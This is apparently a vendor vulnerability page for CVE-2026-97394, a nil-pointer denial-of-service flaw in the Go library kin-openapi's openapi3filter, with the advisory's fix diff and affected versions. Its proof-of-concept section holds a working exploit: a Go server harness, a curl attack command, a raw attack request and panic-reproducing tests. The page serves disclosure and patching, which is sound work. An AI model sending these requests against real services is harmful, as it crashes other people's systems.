Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-97394 — kin-openapi

HIGHFix: getkin/kin-openapi@30e2923

CVE-2026-97394 is a high-severity (CVSS 7.5) CWE-248 vulnerability in github.com/getkin/kin-openapi. A fix is available for github.com/getkin/kin-openapi — see the affected versions and patch details below.

kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items

Also known asGHSA-p6wj-qrr4-pgh5
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-97394.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs37th percentile — riskier than 37% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-97394 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/getkin/kin-openapi

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.

Details

Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().

Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):

case propType.Is("array"):
    items := propSchema.Value.Items.Value  // Items == nil → panic

This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).

The same nil Items also crashes:

PathLocationTrigger
MultipartBodyDecoderreq_resp_decoder.go ~1564 → 1579multipart/form-data part named like the array property
parseArray → parsePrimitivereq_resp_decoder.go ~1129 / 1151Array-typed response headers via ValidateResponse, and path/cookie array params

Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.

Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:

 case propType.Is("array"):
+	if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+		return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+	}
 	items := propSchema.Value.Items.Value

Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.

PoC

Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.

1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:

openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}

2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:

package main

import (
	"fmt"
	"log"
	"net/http"
	"strings"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		log.Fatal(err)
	}
	if err := doc.Validate(loader.Context); err != nil {
		log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
	}
	fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
		Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)

	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		log.Fatal(err)
	}

	// Direct call (no net/http recover): proves the library itself panics.
	req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pp, _ := router.FindRoute(req)
	func() {
		defer func() {
			if r := recover(); r != nil {
				fmt.Printf("DIRECT_PANIC: %v\n", r)
			}
		}()
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pp, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		fmt.Println("DIRECT_PANIC: none (unexpected)")
	}()

	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte("ok\n"))
	})

	addr := "127.0.0.1:8085"
	fmt.Printf("listening on http://%s/f\n", addr)
	fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
	log.Fatal(http.ListenAndServe(addr, mux))
}

3. Observed output (go run .):

SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f

Then:

curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f

Server log:

http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …

Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.

Attack request:

POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded

tags=a

(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)

4. Regression / multi-surface test suite — save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:

package openapi3filter_test

import (
	"bytes"
	"context"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"github.com/stretchr/testify/require"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /hdr:
    get:
      responses:
        '200':
          description: ok
          headers:
            X-Tags:
              schema: {type: array}
`

func catchPanic(fn func()) (panicValue any) {
	defer func() { panicValue = recover() }()
	fn()
	return nil
}

func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
		Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
	require.True(t, schema.Type.Is("array"))
	require.Nil(t, schema.Items)
}

func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
	require.NoError(t, err)
	require.Error(t, doc.Validate(loader.Context))
}

func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	require.NoError(t, err)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(multipartSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	require.NoError(t, w.WriteField("tags", "a"))
	require.NoError(t, w.Close())

	req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
	require.NoError(t, err)
	req.Header.Set("Content-Type", w.FormDataContentType())
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
	require.NoError(t, err)
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
			RequestValidationInput: &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			},
			Status: http.StatusOK,
			Header: http.Header{"X-Tags": []string{"a,b"}},
			Body:   io.NopCloser(strings.NewReader("")),
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	var panicCount int
	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		defer func() {
			if recover() != nil {
				panicCount++
				http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
			}
		}()
		route, pathParams, err := router.FindRoute(r)
		require.NoError(t, err)
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(mux)
	t.Cleanup(srv.Close)

	const n = 5
	for i := 0; i < n; i++ {
		resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
		require.NoError(t, err)
		_, _ = io.ReadAll(resp.Body)
		_ = resp.Body.Close()
		require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
	}
	require.Equal(t, n, panicCount)
}

func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	const attempts = 50
	panics := 0
	for i := 0; i < attempts; i++ {
		req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
		require.NoError(t, err)
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		route, pathParams, err := router.FindRoute(req)
		require.NoError(t, err)
		if catchPanic(func() {
			_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			})
		}) != nil {
			panics++
		}
	}
	require.Equal(t, attempts, panics)
}

Observed results on the vulnerable tree:

  • 3.1 accepts the schema (Items == nil); 3.0 rejects it
  • urlencoded, multipart, and response-header paths all panic with nil pointer dereference
  • 50/50 panic rate (100% deterministic)
  • E2E httptest server: 5/5 POSTs panic inside ValidateRequest → HTTP 500

Impact

  • Type: NULL Pointer Dereference → unauthenticated remote denial of service.
  • Who is impacted: applications using github.com/getkin/kin-openapi/openapi3filter to validate requests/responses against OpenAPI 3.1 documents that contain an items-less type: array in a urlencoded or multipart body property, or an array-typed response header (or other parseArray surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — doc.Validate() does not reject them under 3.1.
  • Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
  • Consequence: deterministic panic on every request to the operation. With stock net/http, the server logs http: panic serving and aborts the connection; without per-request recover (common outside pure net/http handlers), the process can crash.
  • Not affected: OpenAPI 3.0 documents (spec validation rejects missing items); JSON request bodies (different decoder path that does not hit this Items.Value inspection).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/getkin/kin-openapi≥ 0.136.0&&< 0.143.00.143.0go get github.com/getkin/kin-openapi@v0.143.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/getkin/kin-openapi, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/getkin/kin-openapi to 0.143.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-97394 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Red Hat Hardened Imagesgrafana13-2-main-13.2.3-0.1.hum1RHSA-2026:76430
Red Hat Hardened Imagesgrafana13-1-main-13.1.7-0.1.hum1RHSA-2026:76448
Red Hat Hardened Imagesgrafana12-4-main-12.4.12-0.4.hum1RHSA-2026:76677
Red Hat Hardened Imageshugo-main-0.168.0-0.1.hum1RHSA-2026:82637

Frequently Asked Questions

### Summary A nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover th
O3 Security · Impact-Aware SCA

Is CVE-2026-97394 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-97394: kin-openapi DoS — Fixed in 0.143.0